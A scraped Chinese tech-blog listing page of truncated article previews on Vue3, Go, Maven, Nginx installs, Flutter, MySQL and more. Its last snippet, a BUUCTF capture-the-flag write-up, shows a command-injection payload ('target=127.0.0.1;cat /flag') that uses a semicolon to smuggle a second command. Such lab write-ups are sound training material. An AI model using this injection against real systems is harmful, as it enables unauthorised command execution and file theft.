个人简介 微信公众号&#xff1a;数据库杂记 个人微信: _iihero 我是iihero. 也可以叫我Sean. iiheroCSDN(https://blog.csdn.net/iihero) Sean墨天轮 (https://www.modb.pro/u/16258) iiherozhihu (https://www.zhihu.com/people/zhou-mo-xu) 数据库领域的资深爱好者一枚。…

关于vue3的自定义hook

把一些逻辑写在单独的ts文件里&#xff0c;vue文件使用的时候引入即可 计算属性 1、方法1&#xff1a;return计算属性 直接写出去的话&#xff0c;使用时报错 ExpirationTime是一个计算属性&#xff0c;若直接在html上使用{{ExpirationTime(orderForm)}}报错 查阅资料显示&…

Go --- Go语言垃圾处理

概念 垃圾回收&#xff08;GC-Garbage Collection&#xff09;暂停程序业务逻辑SWT&#xff08;stop the world&#xff09;程序根节点&#xff1a;程序中被直接或间接引用的对象集合&#xff0c;能通过他们找出所有可以被访问到的对象&#xff0c;所以Go程序的根节点通常包括…

UE5的渲染-太难了

大家可以看到&#xff0c;这些都是UE的渲染&#xff0c;非常漂亮惊叹&#xff0c;渲染已经非常成熟&#xff0c;这些画面并不是离线渲染&#xff0c;而是实时渲染。早先年我们渲染CG动画都采用离线渲染&#xff0c;要用到庞大的渲染农场&#xff0c;每渲染一帧都可能需要半个小…

【Maven】使用maven-jar、maven-assembly、maven-shade优雅的实现第三方依赖一同打Jar包

文章目录 一.前言二.常规Jar 打包&#xff1a;maven-jar-plugin三.Shade 打包&#xff1a;maven-shade-plugin1.如何使用2.将部分jar包添加或排除3.将依赖jar包内部资源添加或排除4.自动将所有不使用的类排除5.将依赖的类重命名并打包进来 &#xff08;隔离方案&#xff09;6.修…

VMware中UbuntuServer扩展硬盘空间

VMware中UbuntuServer扩展硬盘空间 没有不可治愈的伤痛&#xff0c;没有不能结束的沉沦&#xff0c;所有失去的&#xff0c;会以另一种方式归来 ——【约翰-肖尔斯】 第一步 lxalxa:~$ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS loop0 …

从边缘设备丰富你的 Elasticsearch 文档

作者&#xff1a;David Pilato 我们在之前的文章中已经了解了如何丰富 Elasticsearch 本身和 Logstash 中的数据。 但如果我们可以从边缘设备中做到这一点呢&#xff1f; 这将减少 Elasticsearch 要做的工作。 让我们看看如何从具有代理处理器的 Elastic 代理中执行此操作。 E…

JDK,Nginx,Redis安装

创建develop目录 mkdir /usr/local/develop/ cd /usr/local/develop 下载 wget http://nginx.org/download/nginx-1.17.4.tar.gz yum install git git clone https://github.com/arut/nginx-rtmp-module.git 解压文件 tar zxmf nginx-1.17.4.tar.gz 进入解压目录 cd ng…

flutter 局部view更新,dialog更新进度,dialog更新

局部更新有好几种方法&#xff0c;本次使用的是 StatefulBuilder 定义 customState去更新对话框内容 import package:flutter/cupertino.dart; import package:flutter/material.dart;class ProgressDialog {final BuildContext context;BuildContext? dialogContext;double _…

关系型数据库mysql(2)SQL语句

目录 一.SQL语句简介 1.1SQL语言 1.2SQL语句分类 1.3SQL分类 1.4SQL 语言规范 二.数据库基本操作 2.1查看数据库中的库信息 2.2查看数据库中的表信息 数据库内查看 数据库外查看 2.3显示数据库的结构&#xff08;字段&#xff09; ​编辑 2.4 字段属性 2.5常见的数…

音频和视频标签

音频用audio标签 controls表示控制栏 loop循环播放音频 autoplay自动播放&#xff08;浏览器基于隐私一般不支持&#xff09; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Com…

sonar接入maven项目

1、介绍 sonar是一款静态代码质量分析工具&#xff0c;支持Java、Python、PHP、JavaScript、CSS等25种以上的语言&#xff0c;而且能够集成在IDE、Jenkins、Git等服务中&#xff0c;方便随时查看代码质量分析报告。他有如下特性 (1) 检查代码是否遵循编程标准&#xff1a;如命…

[BT]BUUCTF刷题第2天(3.20)

第2天&#xff08;共5题&#xff09; Web [ACTF2020 新生赛]Exec Payload&#xff1a;target127.0.0.1;cat /flag 分号;在许多shell中用作命令分隔符&#xff0c;意味着在执行完前一个命令&#xff08;这里是设置target变量&#xff09;后&#xff0c;接着执行cat /flag命令…
最新文章